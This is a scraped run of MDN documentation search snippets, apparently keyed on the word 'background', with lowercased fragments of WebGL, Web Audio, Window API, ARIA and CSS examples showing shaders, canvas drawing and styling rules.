background-color : blue; } window.addeventlistener("load", function setupanimation (evt) { "use strict" wind...
Hello GLSL - Web APIs
hello glsl!</p> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { width : 280px; height : 210px; margin : auto; padding : 0; border : none;
background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } <script type="x-shader/x-vertex" id="vertex-shader"> #version 100 void main() { gl_position = vec4(0.0, 0.0, 0.0, 1.0); gl_pointsize = 64.0; } </script> <script type="x-shader/x-fragment" id="fragment-shader"> #version 100 void main() { gl_fragcolor = vec4(0.18, 0.54, 0.34, 1.0); }...
Hello vertex attributes - Web APIs
click on the canvas to change the horizontal position of the square.</p> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { width : 280px; height : 210px; margin : auto; padding : 0; border : none;
background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } <script type="x-shader/x-vertex" id="vertex-shader"> #version 100 precision highp float; attribute float position; void main() { gl_position = vec4(position, 0.0, 0.0, 1.0); gl_pointsize = 64.0; } </script> <script type="x-shader/x-fragment" id="fragment-shader"> #version 100 preci...
Raining rectangles - Web APIs
you missed <strong>0</strong>.</p> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none;
background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } ;(function(){ "use strict" window.addeventlistener("load", setupanimation, false); var gl, timer, rainingrect, scoredisplay, missesdisplay; function setupanimation (evt) { window.removeeventlistener(evt.type, setupanimation, false); if (!(gl = getrenderingcontext())) re...
Scissor animation - Web APIs
ring the drawing buffer with solid color and applying scissor test.</p> <button id="animation-onoff"> press here to <strong>[verb goes here]</strong> the animation</button> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none;
background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } ;(function(){ "use strict" window.addeventlistener("load", setupanimation, false); // variables to hold the webgl context, and the color and // position of animated squares.
Simple color animation - Web APIs
below to toggle the color animation on or off.</p> <canvas id="canvas-view">your browser does not seem to support html5 canvas.</canvas> <button id="animation-onoff"> press here to <strong>[verb goes here]</strong> the animation </button> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none;
background-color : black; } button { display : inline-block; font-size : inherit; margin : auto; padding : 0.6em; } window.addeventlistener("load", function setupanimation (evt) { "use strict" window.removeeventlistener(evt.type, setupanimation, false); // a variable to hold a timer that drives the animation.
Textures from code - Web APIs
simple demonstration of procedural texturing</p> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { width : 280px; height : 210px; margin : auto; padding : 0; border : none;
background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } <script type="x-shader/x-vertex" id="vertex-shader"> #version 100 precision highp float; attribute vec2 position; void main() { gl_position = vec4(position, 0.0, 1.0); gl_pointsize = 128.0; } </script> <script type="x-shader/x-fragment" id="fragment-shader"> #version 100 precision ...
Adding 2D content to a WebGL context - Web APIs
forms gl.uniformmatrix4fv( programinfo.uniformlocations.projectionmatrix, false, projectionmatrix); gl.uniformmatrix4fv( programinfo.uniformlocations.modelviewmatrix, false, modelviewmatrix); { const offset = 0; const vertexcount = 4; gl.drawarrays(gl.triangle_strip, offset, vertexcount); } } the first step is to clear the canvas to our
background color; then we establish the camera's perspective.
WebGL tutorial - Web APIs
webgl elements can be mixed with other html elements and composited with other parts of the page or page
background.
WebGL best practices - Web APIs
compile shaders and link programs in parallel it's tempting to compile shaders and link programs serially, but many browsers can compile and link in parallel on
background threads.
Rendering and the WebXR frame animation callback - Web APIs
the
background color is set to fully opaque black using gl.clearcolor(); the clear depth is set to 1.0 by calling gl.cleardepth(), in order to clear all pixels regardless of how far away the object they're part of is; and finally, the frame's pixel and depth buffers are both erased by calling gl.clear(), passing in a bit mask in which both color_buffer_bit and depth_buffer_bit are set.
Example and tutorial: Simple synth keyboard - Web APIs
: center; box-shadow: 2px 2px darkgray; display: inline-block; position: relative; margin-right: 3px; user-select: none; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; } .key div { position: absolute; bottom: 0; text-align: center; width: 100%; pointer-events: none; } .key div sub { font-size: 10px; pointer-events: none; } .key:hover {
background-color: #eef; } .key:active {
background-color: #000; color: #fff; } .octave { display: inline-block; padding: 0 6px 0 0; } .settingsbar { padding-top: 8px; font: 14px "open sans", "lucida grande", "arial", sans-serif; position: relative; vertical-align: middle; width: 100%; height: 30px; } .left { width: 50%; position: absolute; left: 0; display: table-cell; vert...
Using IIR filters - Web APIs
nd it to our dom const canvascontainer = document.queryselector('.filter-graph'); const canvasel = document.createelement('canvas'); canvascontainer.appendchild(canvasel); // set 2d context and set dimesions const canvasctx = canvasel.getcontext('2d'); const width = canvascontainer.offsetwidth; const height = canvascontainer.offsetheight; canvasel.width = width; canvasel.height = height; // set
background fill canvasctx.fillstyle = 'white'; canvasctx.fillrect(0, 0, width, height); // set up some spacing based on size const spacing = width/16; const fontsize = math.floor(spacing/1.5); // draw our axis canvasctx.linewidth = 2; canvasctx.strokestyle = 'grey'; canvasctx.beginpath(); canvasctx.moveto(spacing, spacing); canvasctx.lineto(spacing, height-spacing); canvasctx.lineto(width-spacing, height...
Window: blur event - Web APIs
html <p id="log">click on this document to give it focus.</p> css .paused {
background: #ddd; color: #555; } javascript function pause() { document.body.classlist.add('paused'); log.textcontent = 'focus lost!'; } function play() { document.body.classlist.remove('paused'); log.textcontent = 'this document has focus.
Window.devicePixelRatio - Web APIs
try it and watch what happens!</p> </div> <div class="pixel-ratio"></div> </div> css body { font: 22px arial, sans-serif; } .container { top: 2em; width: 22em; height: 14em; border: 2px solid #22d; margin: 0 auto; padding: 0;
background-color: #a9f; } .inner-container { padding: 1em 2em; text-align: justify; text-justify: auto; } .pixel-ratio { position: relative; margin: auto; height: 1.2em; text-align: right; bottom: 0; right: 1em; font-weight: bold; } result specifications specification status comment css object model (cssom) view modulethe definition of 'window.devicepi...
Window: focus event - Web APIs
html <p id="log">click on this document to give it focus.</p> css .paused {
background: #ddd; color: #555; } javascript function pause() { document.body.classlist.add('paused'); log.textcontent = 'focus lost!'; } function play() { document.body.classlist.remove('paused'); log.textcontent = 'this document has focus.
Window.frames - Web APIs
example var frames = window.frames; // or // var frames = window.parent.frames; for (var i = 0; i < frames.length; i++) { // do something with each subframe as frames[i] frames[i].document.body.style.
background = "red"; } specifications specification status comment html living standardthe definition of 'window.frames' in that specification.
Window.getComputedStyle() - Web APIs
html <p>hello</p> css p { width: 400px; margin: 0 auto; padding: 20px; font: 2rem/2 sans-serif; text-align: center;
background: purple; color: white; } javascript let para = document.queryselector('p'); let compstyles = window.getcomputedstyle(para); para.textcontent = 'my computed font-size is ' + compstyles.getpropertyvalue('font-size') + ',\nand my computed line-height is ' + compstyles.getpropertyvalue('line-height') + '.'; result description the returned object is the same cssstyledeclaratio...
Window.sidebar - Web APIs
addpersistentpanel(title, contenturl, "") adds a sidebar panel, which is able to work in the
background.
WindowOrWorkerGlobalScope.setInterval() - Web APIs
ter('#controls'); /* you can also change the frame rate value modifying the "rate" property; for example: */ // otwexample2.rate = 150; onload = function () { otwexample1.play(); otwexample2.play(); }; </script> <style type="text/css"> span.intlink, a, a:visited { cursor: pointer; color: #000000; text-decoration: underline; } #info { width: 180px; height: 150px; float: right;
background-color: #eeeeff; padding: 4px; overflow: auto; font-size: 12px; margin: 4px; border-radius: 5px; /* visibility: hidden; */ } </style> </head> <body> <p id="copyleft" style="font-style: italic; font-size: 12px; text-align: center;">copyleft 2012 by <a href="https://developer.mozilla.org/" target="_blank">mozilla developer network</a></p> <p id="controls" style="text-align: center;">[&...
Worker - Web APIs
the worker interface of the web workers api represents a
background task that can be created via script, which can send messages back to its creator.
Worklet.addModule() - Web APIs
udiocontext(); const audioworklet = audioctx.audioworklet; await audioworklet.addmodule('modules/bypassfilter.js', { credentials: 'omit', }); paintworklet example css.paintworklet.addmodule('https://mdn.github.io/houdini-examples/csspaint/intro/worklets/hilite.js'); once a paintworklet is included, the css paint() function can be used to include the image created by the worklet: @supports (
background-image: paint(id)) { h1 {
background-image: paint(hollowhighlights, filled, 3px); } } specifications specification status comment worklets level 1the definition of 'addmodule()' in that specification.
XREnvironmentBlendMode - Web APIs
additive primarily used by ar devices with transparent lenses which directly allow reality to pass through to the user's eyes, the additive blending mode is designed to be used in a situation in which the device has no control over the
background and its brightness, since that isn't being digitally controlled.
XRSession.environmentBlendMode - Web APIs
additive primarily used by ar devices with transparent lenses which directly allow reality to pass through to the user's eyes, the additive blending mode is designed to be used in a situation in which the device has no control over the
background and its brightness, since that isn't being digitally controlled.
Web APIs
aambient light eventsb
background tasksbattery api beaconbluetooth apibroadcast channel apiccss counter stylescss font loading api cssomcanvas apichannel messaging apiconsole apicredential management apiddomeencoding apiencrypted media extensionsffetch apifile system api frame timing apifullscreen apiggamepad api geolocation apihhtml drag and drop apihigh resolution timehistory apiiimage capture apiindexeddbintersection obser...
ARIA Test Cases - Accessibility
i jaws 9 - - n/a n/a jaws 10 - - - - voiceover (leopard) n/a n/a - fail window-eyes - - - - nvda - n/a - - zoom (leopard) pass n/a pass pass zoomtext - - - - orca - - - - radiogroup and radiobutton radio example using css
background images radio example using img element radio example using aria-activedescendent property dojo nightly build expected at behavior: on initial focus, the screen reader should announce the label of the radio group and the focused radio button, whether it is selected or not, and its position.
ARIA annotations - Accessibility
black strikethrough for deletions, and a black underline for insertions, but you’ll probably want to use some more interesting styling of your own, for example: ins, [role="insertion"] { color: #0c0; text-decoration: underline; } del, [role="deletion"] { color: red; text-decoration: line-through; } ins, [role="insertion"], del, [role="deletion"] { text-decoration-thickness: 2px;
background-color: #fee; padding: 2px 4px; margin: 0 1px; } comments online document applications also commonly feature commenting systems, and it would be nice to have a way to semantically associate commented content and its comments.
ARIA: application role - Accessibility
background for historic reasons, especially on windows, screen readers and some other assistive technologies (at) have traditionally grabbed the whole web content from the browser at once after it had finished loading.
ARIA: switch role - Accessibility
ing: 0; width: 70px; height: 26px; border: 2px solid black; display: inline-block; margin-right: 0.25em; line-height: 20px; vertical-align: middle; text-align: center; font: 12px "open sans", "arial", serif; } button.switch span { padding: 0 4px; pointer-events: none; } [role="switch"][aria-checked="false"] :first-child, [role="switch"][aria-checked="true"] :last-child {
background: #262; color: #eef; } [role="switch"][aria-checked="false"] :last-child, [role="switch"][aria-checked="true"] :first-child { color: #bbd; } label.switch { font: 16px "open sans", "arial", sans-serif; line-height: 20px; user-select: none; vertical-align: middle; -moz-user-select: none; -ms-user-select: none; -webkit-user-select: none; -o-user-select: none; } the most interes...
ARIA: tab role - Accessibility
</div> <div id="panel-2" role="tabpanel" tabindex="0" aria-labelledby="tab-2" hidden> <p>content for the second panel</p> </div> <div id="panel-3" role="tabpanel" tabindex="0" aria-labelledby="tab-3" hidden> <p>content for the third panel</p> </div> </div> .tabs { padding: 1em; } [role="tablist"] { margin-bottom: -1px; } [role="tab"] { position: relative; z-index: 1;
background: white; border-radius: 5px 5px 0 0; border: 1px solid grey; border-bottom: 0; padding: 0.2em; } [role="tab"][aria-selected="true"] { z-index: 3; } [role="tabpanel"] { position: relative; padding: 0 0.5em 0.5em 0.7em; border: 1px solid grey; border-radius: 0 0 5px 5px;
background: white; z-index: 2; } [role="tabpanel"]:focus { border-color: orange; outline: 1px solid o...
ARIA: button role - Accessibility
html <h1>aria button example</h1> <ul id="namelist"></ul> <label for="newname">enter your name: </label> <input type="text" id="newname"> <span role="button" tabindex="0" onclick="handlecommand()" onkeydown="handlecommand()">add name</span> css [role="button"] { padding: 2px;
background-color: navy; color: white; cursor: default; } [role="button"]:hover, [role="button"]:focus, [role="button"]:active {
background-color: white; color: navy; } ul { list-style: none; } javascript function handlecommand(event) { // handles both mouse clicks and keyboard // activate with enter or space // get the new name value from the input element let newnameinpu...
Web accessibility for seizures and physical reactions - Accessibility
for example, many users have difficulty reading text that has a small difference in contrast to the text
background and would prefer a larger contrast." sometimes there can be such a thing as too much contrast; a halo effect around text can occur in such situations and actually reduce legibility.
-webkit-border-before - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples applying a border with vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; -webkit-border-before: 5px dashed blue; } result specifications not part of any standard, but it relates to the standards-track border-block-start property.
-webkit-overflow-scrolling - CSS: Cascading Style Sheets
</p> </div> css div { width: 100%; overflow: auto; } p { width: 200%;
background: #f5f9fa; border: 2px solid #eaf2f4; padding: 10px; } .scroll-touch { -webkit-overflow-scrolling: touch; /* lets it scroll lazy */ } .scroll-auto { -webkit-overflow-scrolling: auto; /* stops scrolling immediately */ } results specifications not part of any standard.
::-webkit-meter-suboptimum-value - CSS: Cascading Style Sheets
html <meter min="0" max="10" value="6">score out of 10</meter> css meter::-webkit-meter-suboptimum-value {
background: -webkit-gradient linear, left top, left bottom; height: 100%; box-sizing: border-box; } result specifications not part of any standard.
::-webkit-progress-bar - CSS: Cascading Style Sheets
syntax ::-webkit-progress-bar examples css content progress { -webkit-appearance: none; } ::-webkit-progress-bar {
background-color: orange; } html content <progress value="10" max="50"> result result screenshot if you're not using a webkit or blink browser, the code above results in a progress bar that looks like this: specifications not part of any standard.
::-webkit-progress-value - CSS: Cascading Style Sheets
html <progress value="10" max="50"> css progress { -webkit-appearance: none; } ::-webkit-progress-value {
background-color: orange; } result result screenshot a progress bar using the style above would look like this: specifications not part of any standard.
::-webkit-scrollbar - CSS: Cascading Style Sheets
es .visible-scrollbar, .invisible-scrollbar, .mostly-customized-scrollbar { display: block; width: 10em; overflow: auto; height: 2em; } .invisible-scrollbar::-webkit-scrollbar { display: none; } /* demonstrate a "mostly customized" scrollbar * (won't be visible otherwise if width/height is specified) */ .mostly-customized-scrollbar::-webkit-scrollbar { width: 5px; height: 8px;
background-color: #aaa; /* or add it to the track */ } /* add a thumb */ .mostly-customized-scrollbar::-webkit-scrollbar-thumb {
background: #000; } <div class="visible-scrollbar"> etiam sagittis sem sed lacus laoreet, eu fermentum eros auctor.
::first-line (:first-line) - CSS: Cascading Style Sheets
used with the ::first-line pseudo-element: all font-related properties: font, font-kerning, font-style, font-variant, font-variant-numeric, font-variant-position, font-variant-east-asian, font-variant-caps, font-variant-alternates, font-variant-ligatures, font-synthesis, font-feature-settings, font-language-override, font-weight, font-size, font-size-adjust, font-stretch, and font-family all
background-related properties:
background-color,
background-clip,
background-image,
background-origin,
background-position,
background-repeat,
background-size,
background-attachment, and
background-blend-mode the color property word-spacing, letter-spacing, text-decoration, text-transform, and line-height text-shadow, text-decoration, text-decoration-color, text-decoration-line, text-decoration-style, a...
::grammar-error - CSS: Cascading Style Sheets
allowable properties only a small subset of css properties can be used in a rule with ::grammar-error in its selector: color
background-color cursor caret-color outline and its longhands text-decoration and its associated properties text-emphasis-color text-shadow syntax ::grammar-error examples simple document grammar check in this example, eventual supporting browsers should highlight any flagged grammatical errors with the styles shown.
::part() - CSS: Cascading Style Sheets
::before, ::after { box-sizing: border-box; padding: 1rem; } :host { display: flex; } </style> <div part="tab active">tab 1</div> <div part="tab">tab 2</div> <div part="tab">tab 3</div> </template> <tabbed-custom-element></tabbed-custom-element> css tabbed-custom-element::part(tab) { color: #0c0c0dcc; border-bottom: transparent solid 2px; } tabbed-custom-element::part(tab):hover {
background-color: #0c0c0d19; border-color: #0c0c0d33; } tabbed-custom-element::part(tab):hover:active {
background-color: #0c0c0d33; } tabbed-custom-element::part(tab):focus { box-shadow: 0 0 0 1px #0a84ff inset, 0 0 0 1px #0a84ff, 0 0 0 4px rgba(10, 132, 255, 0.3); } tabbed-custom-element::part(active) { color: #0060df; border-color: #0a84ff !important; } javascript let template...
::spelling-error - CSS: Cascading Style Sheets
allowable properties only a small subset of css properties can be used in a rule with ::spelling-error in its selector: color
background-color cursor caret-color outline and its longhands text-decoration and its associated properties text-emphasis-color text-shadow syntax ::spelling-error examples simple document spell check in this example, eventual supporting browsers should highlight any flagged spelling errors with the styles shown.
:defined - CSS: Cascading Style Sheets
his.getattribute('text'); let shadowroot = this.attachshadow({mode: 'open'}) .appendchild(divelem); } }) then insert a copy of this element into the document, along with a standard <p>: <simple-custom text="custom element example text"></simple-custom> <p>standard paragraph example text</p> in the css we first include the following rules: // give the two elements distinctive
backgrounds p {
background: yellow; } simple-custom {
background: cyan; } // both the custom and the built-in element are given italic text :defined { font-style: italic; } then provide the following two rules to hide any instances of our custom element that are not defined, and display instances that are defined as block level elements: simple-custom:not(:defined) { display: none; } simple-cus...
:first-child - CSS: Cascading Style Sheets
syntax :first-child examples basic example html <div> <p>this text is selected!</p> <p>this text isn't selected.</p> </div> <div> <h2>this text isn't selected: it's not a `p`.</h2> <p>this text isn't selected.</p> </div> css p:first-child { color: lime;
background-color: black; padding: 5px; } result styling a list html <ul> <li>item 1</li> <li>item 2</li> <li>item 3 <ul> <li>item 3.1</li> <li>item 3.2</li> <li>item 3.3</li> </ul> </li> </ul> css ul li { color: blue; } ul li:first-child { color: red; font-weight: bold; } result specifications specification status comment s...
:first-of-type - CSS: Cascading Style Sheets
html <article> <div>this `div` is first!</div> <div>this <span>nested `span` is first</span>!</div> <div>this <em>nested `em` is first</em>, but this <em>nested `em` is last</em>!</div> <div>this <span>nested `span` gets styled</span>!</div> <b>this `b` qualifies!</b> <div>this is the final `div`.</div> </article> css article :first-of-type {
background-color: pink; } result specifications specification status comment selectors level 4the definition of ':first-of-type' in that specification.
:focus-visible - CSS: Cascading Style Sheets
<custom-button tabindex="0" role="button">click me</custom-button> custom-button { display: inline-block; margin: 10px; } custom-button:focus { /* provide a fallback style for browsers that don't support :focus-visible */ outline: none;
background: lightgrey; } custom-button:focus:not(:focus-visible) { /* remove the focus indicator on mouse-focus for browsers that do support :focus-visible */
background: transparent; } custom-button:focus-visible { /* draw a very noticeable focus style for keyboard-focus on browsers that do support :focus-visible */ outline: 4px dashed darkorange;
background: transparent; } po...
:focus - CSS: Cascading Style Sheets
syntax :focus examples html <input class="red-input" value="i'll be red when focused."><br> <input class="blue-input" value="i'll be blue when focused."> css .red-input:focus {
background: yellow; color: red; } .blue-input:focus {
background: yellow; color: blue; } result accessibility concerns make sure the visual focus indicator can be seen by people with low vision.
:host() - CSS: Cascading Style Sheets
oot.appendchild(span); style.textcontent = 'span:hover { text-decoration: underline; }' + ':host-context(h1) { font-style: italic; }' + ':host-context(h1):after { content: " - no links in headers!" }' + ':host-context(article, aside) { color: gray; }' + ':host(.footer) { color : red; }' + ':host {
background: rgba(0,0,0,0.1); padding: 2px 5px; }'; the :host(.footer) { color : red; } rule styles all instances of the <context-span> element (the shadow host in this instance) in the document that have the footer class set on them — we've used it to give instances of the element inside the <footer> a special color.
:host-context() - CSS: Cascading Style Sheets
oot.appendchild(span); style.textcontent = 'span:hover { text-decoration: underline; }' + ':host-context(h1) { font-style: italic; }' + ':host-context(h1):after { content: " - no links in headers!" }' + ':host-context(article, aside) { color: gray; }' + ':host(.footer) { color : red; }' + ':host {
background: rgba(0,0,0,0.1); padding: 2px 5px; }'; the :host-context(h1) { font-style: italic; } and :host-context(h1):after { content: " - no links in headers!" } rules style the instance of the <context-span> element (the shadow host in this instance) inside the <h1>.
:host - CSS: Cascading Style Sheets
oot.appendchild(span); style.textcontent = 'span:hover { text-decoration: underline; }' + ':host-context(h1) { font-style: italic; }' + ':host-context(h1):after { content: " - no links in headers!" }' + ':host-context(article, aside) { color: gray; }' + ':host(.footer) { color : red; }' + ':host {
background: rgba(0,0,0,0.1); padding: 2px 5px; }'; the :host {
background: rgba(0,0,0,0.1); padding: 2px 5px; } rule styles all instances of the <context-span> element (the shadow host in this instance) in the document.
:hover - CSS: Cascading Style Sheets
syntax :hover examples basic example html <a href="#">try hovering over this link.</a> css a {
background-color: powderblue; transition:
background-color .5s; } a:hover {
background-color: gold; } result image gallery you can use the :hover pseudo-class to build an image gallery with full-size images that show only when the mouse moves over a thumbnail.
:last-child - CSS: Cascading Style Sheets
syntax :last-child examples basic example html <div> <p>this text isn't selected.</p> <p>this text is selected!</p> </div> <div> <p>this text isn't selected.</p> <h2>this text isn't selected: it's not a `p`.</h2> </div> css p:last-child { color: lime;
background-color: black; padding: 5px; } result styling a list html <ul> <li>item 1</li> <li>item 2</li> <li>item 3 <ul> <li>item 3.1</li> <li>item 3.2</li> <li>item 3.3</li> </ul> </li> </ul> css ul li { color: blue; } ul li:last-child { border: 1px solid red; color: red; } result specifications specification status comment ...
:last-of-type - CSS: Cascading Style Sheets
html <article> <div>this `div` is first.</div> <div>this <span>nested `span` is last</span>!</div> <div>this <em>nested `em` is first</em>, but this <em>nested `em` is last</em>!</div> <b>this `b` qualifies!</b> <div>this is the final `div`!</div> </article> css article :last-of-type {
background-color: pink; } result specifications specification status comment selectors level 4the definition of ':last-of-type' in that specification.
:nth-child() - CSS: Cascading Style Sheets
span>span</span> <em>this is an `em`.</em> <span>span!</span> <span>span</span> <span>span!</span> <span>span</span> <span>span!</span> </div> css html { font-family: sans-serif; } span, div em { padding: 5px; border: 1px solid green; display: inline-block; margin-bottom: 3px; } .first span:nth-child(2n+1), .second span:nth-child(2n+1), .third span:nth-of-type(2n+1) {
background-color: lime; } result specifications specification status comment selectors level 4the definition of ':nth-child' in that specification.
:nth-last-child() - CSS: Cascading Style Sheets
table example html <table> <tbody> <tr> <td>first line</td> </tr> <tr> <td>second line</td> </tr> <tr> <td>third line</td> </tr> <tr> <td>fourth line</td> </tr> <tr> <td>fifth line</td> </tr> </tbody> </table> css table { border: 1px solid blue; } /* selects the last three elements */ tr:nth-last-child(-n+3) {
background-color: pink; } /* selects every element starting from the second to last item */ tr:nth-last-child(n+2) { color: blue; } /* select only the last second element */ tr:nth-last-child(2) { font-weight: 600; } result quantity query a quantity query styles elements depending on how many of them there are.
:nth-last-of-type() - CSS: Cascading Style Sheets
formal syntax :nth-last-of-type( <nth> )where <nth> = <an-plus-b> | even | odd examples html <div> <span>this is a span.</span> <span>this is another span.</span> <em>this is emphasized.</em> <span>wow, this span gets limed!!!</span> <strike>this is struck through.</strike> <span>here is one last span.</span> </div> css span:nth-last-of-type(2) {
background-color: lime; } result specifications specification status comment selectors level 4the definition of ':nth-last-of-type' in that specification.
:only-child - CSS: Cascading Style Sheets
/* selects each <p>, but only if it is the */ /* only child of its parent */ p:only-child {
background-color: lime; } note: as originally defined, the selected element had to have a parent.
:only-of-type - CSS: Cascading Style Sheets
/* selects each <p>, but only if it is the */ /* only <p> element inside its parent */ p:only-of-type {
background-color: lime; } note: as originally defined, the selected element had to have a parent.
:placeholder-shown - CSS: Cascading Style Sheets
<input id="name" placeholder="student name"/> </p> <p> <label for="branch">enter student branch:</label> <input id="branch" placeholder="student branch"/> </p> <p> <label for="sid">enter student id:</label> <input type="number" pattern="[0-9]{8}" title="8 digit id" id="sid" class="studentid" placeholder="8 digit id"/> </p> <input type="submit"/> </form> css input {
background-color: #e8e8e8; color: black; } input.studentid:placeholder-shown {
background-color: yellow; color: red; font-style: italic; } result specifications specification status comment selectors level 4the definition of ':placeholder-shown' in that specification.
:root - CSS: Cascading Style Sheets
/* selects the root element of the document: <html> in the case of html */ :root {
background: yellow; } syntax :root examples declaring global css variables :root can be useful for declaring global css variables: :root { --main-color: hotpink; --pane-padding: 5px 42px; } specifications specification status comment selectors level 4the definition of ':root' in that specification.
:scope - CSS: Cascading Style Sheets
/* selects a scoped element */ :scope {
background-color: lime; } currently, when used in a stylesheet, :scope is the same as :root, since there is not at this time a way to explicitly establish a scoped element.
:valid - CSS: Cascading Style Sheets
/* selects any valid <input> */ input:valid {
background-color: powderblue; } this pseudo-class is useful for highlighting correct fields for the user.
@document - CSS: Cascading Style Sheets
regexp("https:.*") { /* css rules here apply to: - the page "http://www.w3.org/" - any page whose url begins with "http://www.w3.org/style/" - any page whose url's host is "mozilla.org" or ends with ".mozilla.org" - any standalone video - any page whose url starts with "https:" */ /* make the above-mentioned pages really ugly */ body { color: purple;
background: yellow; } } specifications initially in css conditional rules module level 3, @document has been postponed to level 4.
-webkit-device-pixel-ratio - CSS: Cascading Style Sheets
} examples html <p>this is a test of your device's pixel density.</p> css /* exact resolution */ @media (-webkit-device-pixel-ratio: 1) { p { color: red; } } /* minimum resolution */ @media (-webkit-min-device-pixel-ratio: 1.1) { p { font-size: 1.5em; } } /* maximum resolution */ @media (-webkit-max-device-pixel-ratio: 3) { p {
background: yellow; } } result specifications specification status comment compatibility standardthe definition of '-webkit-device-pixel-ratio' in that specification.
any-hover - CSS: Cascading Style Sheets
examples testing whether input methods can hover html <a href="#">try hovering over me!</a> css @media (any-hover: hover) { a:hover {
background: yellow; } } result specifications specification status comment media queries level 4the definition of 'any-hover' in that specification.
any-pointer - CSS: Cascading Style Sheets
html <input id="test" type="checkbox" /> <label for="test">look at me!</label> css input[type="checkbox"]:checked {
background: gray; } @media (any-pointer: fine) { input[type="checkbox"] { -moz-appearance: none; -webkit-appearance: none; appearance: none; width: 15px; height: 15px; border: 1px solid blue; } } @media (any-pointer: coarse) { input[type="checkbox"] { -moz-appearance: none; -webkit-appearance: none; appearance: none; width: 30px; height: 30px; border: ...
color-gamut - CSS: Cascading Style Sheets
examples html <p>this is a test.</p> css @media (color-gamut: srgb) { p {
background: #f4ae8a; } } result specifications specification status comment media queries level 4the definition of 'color-gamut' in that specification.
forced-colors - CSS: Cascading Style Sheets
html <div class="colors">weird color box</div> css .colors {
background-color: red; color: grey; } @media (forced-colors: active) { .colors {
background-color: white; color: black; } } result specifications specification status comment media queries level 5the definition of 'forced-colors' in that specification.
height - CSS: Cascading Style Sheets
examples html <div>watch this element as you resize your viewport's height.</div> css /* exact height */ @media (height: 360px) { div { color: red; } } /* minimum height */ @media (min-height: 25rem) { div {
background: yellow; } } /* maximum height */ @media (max-height: 40rem) { div { border: 2px solid blue; } } result specifications specification status comment media queries level 4the definition of 'height' in that specification.
hover - CSS: Cascading Style Sheets
examples html <a href="#">try hovering over me!</a> css @media (hover: hover) { a:hover {
background: yellow; } } result specifications specification status comment media queries level 4the definition of 'hover' in that specification.
inverted-colors - CSS: Cascading Style Sheets
if you're not, it should be red on light gray.</p> <p>if the text is gray, your browser doesn't support the `inverted-colors` media feature.</p> css p { color: gray; } @media (inverted-colors: inverted) { p {
background: black; color: yellow; } } @media (inverted-colors: none) { p {
background: #eee; color: red; } } result specifications specification status comment media queries level 5the definition of 'inverted-colors' in that specification.
light-level - CSS: Cascading Style Sheets
@media (light-level: normal) { p {
background: url("texture.jpg"); color: #333; } } @media (light-level: dim) { p {
background: #222; color: #ccc; } } @media (light-level: washed) { p {
background: white; color: black; font-size: 2em; } } specifications specification status comment media queries level 5the definition of 'light-level' in that specification.
orientation - CSS: Cascading Style Sheets
examples html <div>box 1</div> <div>box 2</div> <div>box 3</div> css body { display: flex; } div {
background: yellow; } @media (orientation: landscape) { body { flex-direction: row; } } @media (orientation: portrait) { body { flex-direction: column; } } result specifications specification status comment media queries level 4the definition of 'orientation' in that specification.
pointer - CSS: Cascading Style Sheets
html <input id="test" type="checkbox" /> <label for="test">look at me!</label> css input[type="checkbox"] { -moz-appearance: none; -webkit-appearance: none; appearance: none; border: solid; margin: 0; } input[type="checkbox"]:checked {
background: gray; } @media (pointer: fine) { input[type="checkbox"] { width: 15px; height: 15px; border-width: 1px; border-color: blue; } } @media (pointer: coarse) { input[type="checkbox"] { width: 30px; height: 30px; border-width: 2px; border-color: red; } } result specifications specification status comment media queries level 4th...
prefers-color-scheme - CSS: Cascading Style Sheets
html <div class="day">day (initial)</div> <div class="day light-scheme">day (changes in light scheme)</div> <div class="day dark-scheme">day (changes in dark scheme)</div> <br> <div class="night">night (initial)</div> <div class="night light-scheme">night (changes in light scheme)</div> <div class="night dark-scheme">night (changes in dark scheme)</div> css .day {
background: #eee; color: black; } .night {
background: #333; color: white; } @media (prefers-color-scheme: dark) { .day.dark-scheme {
background: #333; color: white; } .night.dark-scheme {
background: black; color: #ddd; } } @media (prefers-color-scheme: light) { .day.light-scheme {
background: white; color: #555; } .night.light-scheme {
background: #eee; color: black; } } .day, .night { ...
prefers-reduced-motion - CSS: Cascading Style Sheets
*/ @media (prefers-reduced-motion) { .animation { animation-name: dissolve; } } .animation {
background-color: #306; color: #fff; font: 1.2em sans-serif; width: 10em; padding: 1em; border-radius: 1em; text-align: center; } @keyframes pulse { 0% { transform: scale(1); } 25% { transform: scale(.9); } 50% { transform: scale(1); } 75% { transform: scale(1.1); } 100% { transform: scale(1); } } @keyframes dissolve { 0% { opacity: 1; } 50% { opacity: 0.8; } 100% { opacity: 1;...
resolution - CSS: Cascading Style Sheets
examples html <p>this is a test of your device's pixel density.</p> css /* exact resolution */ @media (resolution: 150dpi) { p { color: red; } } /* minimum resolution */ @media (min-resolution: 72dpi) { p { text-decoration: underline; } } /* maximum resolution */ @media (max-resolution: 300dpi) { p {
background: yellow; } } result specifications specification status comment media queriesthe definition of 'resolution' in that specification.
width - CSS: Cascading Style Sheets
examples html <div>watch this element as you resize your viewport's width.</div> css /* exact width */ @media (width: 360px) { div { color: red; } } /* minimum width */ @media (min-width: 35rem) { div {
background: yellow; } } /* maximum width */ @media (max-width: 50rem) { div { border: 2px solid blue; } } result specifications specification status comment media queries level 4the definition of 'width' in that specification.
Coordinate systems - CSS: Cascading Style Sheets
.outer { width: 1000px; height: 200px;
background-color: red; } .inner { position: relative; width: 500px; height: 150px; top: 25px; left: 100px;
